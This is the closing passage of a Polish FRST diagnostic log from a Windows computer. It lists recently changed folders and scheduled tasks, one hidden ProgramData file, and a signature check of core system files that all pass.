2015-12-24 11:21 - 2013-08-22 16:36 - 00000000 ____D C:\Windows\AppReadiness
2015-12-23 11:40 - 2013-08-22 16:36 - 00000000 ___HD C:\Program Files\WindowsApps
2015-12-22 10:07 - 2015-10-25 23:04 - 00000000 ____D C:\Users\Zgórzyński Paweł\Desktop\VII semestr
2015-12-19 20:15 - 2013-08-22 16:36 - 00000000 ____D C:\Windows\LiveKernelReports
2015-12-19 12:48 - 2015-01-29 23:08 - 00000000 ____D C:\Users\Zgórzyński Paweł
2015-12-18 21:32 - 2013-08-22 16:36 - 00000000 ____D C:\Windows\system32\NDF
2015-12-17 11:21 - 2015-04-24 15:27 - 00003594 _____ C:\Windows\System32\Tasks\Optimize Start Menu Cache Files-S-1-5-21-481592329-259872215-3533337250-1003
2015-12-17 11:05 - 2015-11-14 14:40 - 00000000 ____D C:\Users\Zgórzyński Paweł\AppData\Roaming\DAEMON Tools Lite
2015-12-17 11:05 - 2015-03-06 13:51 - 00000000 ____D C:\Users\Zgórzyński Paweł\AppData\Roaming\MPC-HC
2015-12-16 23:22 - 2015-11-14 16:09 - 00000000 ____D C:\Users\Zgórzyński Paweł\AppData\Local\Microsoft Help
2015-12-16 13:04 - 2015-02-24 23:27 - 00000000 ____D C:\Users\Zgórzyński Paweł\Desktop\dokumenty
2015-12-16 09:58 - 2015-01-30 10:40 - 00000000 ____D C:\Users\Zgórzyński Paweł\AppData\Roaming\Mozilla
2015-12-13 16:28 - 2015-02-24 22:55 - 00000000 ____D C:\Users\Zgórzyński Paweł\Desktop\zdjęcia
2015-12-07 10:32 - 2013-08-22 15:44 - 00483696 _____ C:\Windows\system32\FNTCACHE.DAT
2015-12-05 01:01 - 2015-07-02 21:37 - 00004040 _____ C:\Windows\System32\Tasks\GoogleUpdateTaskMachineUA
2015-12-05 01:01 - 2015-07-02 21:37 - 00003804 _____ C:\Windows\System32\Tasks\GoogleUpdateTaskMachineCore
2015-12-03 23:41 - 2015-06-12 20:19 - 00004082 _____ C:\Windows\System32\Tasks\GoogleUpdateTaskUserS-1-5-21-481592329-259872215-3533337250-1001UA
2015-12-03 23:41 - 2015-06-12 20:19 - 00003702 _____ C:\Windows\System32\Tasks\GoogleUpdateTaskUserS-1-5-21-481592329-259872215-3533337250-1001Core
2015-12-02 12:32 - 2015-06-12 20:19 - 00000000 ____D C:\Users\Zgórzyński Paweł\AppData\Local\Google
2015-12-02 12:29 - 2015-06-02 18:31 - 00000000 ____D C:\ProgramData\Oracle
2015-12-02 12:26 - 2015-01-30 08:27 - 00000000 ____D C:\Program Files (x86)\Java
2015-12-02 12:25 - 2015-01-30 08:27 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java
2015-12-02 12:24 - 2015-01-30 08:27 - 00097888 _____ (Oracle Corporation) C:\Windows\SysWOW64\WindowsAccessBridge-32.dll

==================== Pliki w katalogu głównym wybranych folderów =======

2013-11-12 21:53 - 2013-11-12 21:53 - 0000000 ____H () C:\ProgramData\DP45977C.lfl

==================== Bamital & volsnap =================

(Brak automatycznej naprawy dla plików które nie przeszły weryfikacji.)

C:\Windows\system32\winlogon.exe => Plik podpisany cyfrowo
C:\Windows\system32\wininit.exe => Plik podpisany cyfrowo
C:\Windows\explorer.exe => Plik podpisany cyfrowo
C:\Windows\SysWOW64\explorer.exe => Plik podpisany cyfrowo
C:\Windows\system32\svchost.exe => Plik podpisany cyfrowo
C:\Windows\SysWOW64\svchost.exe => Plik podpisany cyfrowo
C:\Windows\system32\services.exe => Plik podpisany cyfrowo
C:\Windows\system32\User32.dll => Plik podpisany cyfrowo
C:\Windows\SysWOW64\User32.dll => Plik podpisany cyfrowo
C:\Windows\system32\userinit.exe => Plik podpisany cyfrowo
C:\Windows\SysWOW64\userinit.exe => Plik podpisany cyfrowo
C:\Windows\system32\rpcss.dll => Plik podpisany cyfrowo
C:\Windows\system32\dnsapi.dll => Plik podpisany cyfrowo
C:\Windows\SysWOW64\dnsapi.dll => Plik podpisany cyfrowo
C:\Windows\system32\Drivers\volsnap.sys => Plik podpisany cyfrowo


LastRegBack: 2015-12-30 18:50

==================== Koniec  FRST.txt ============================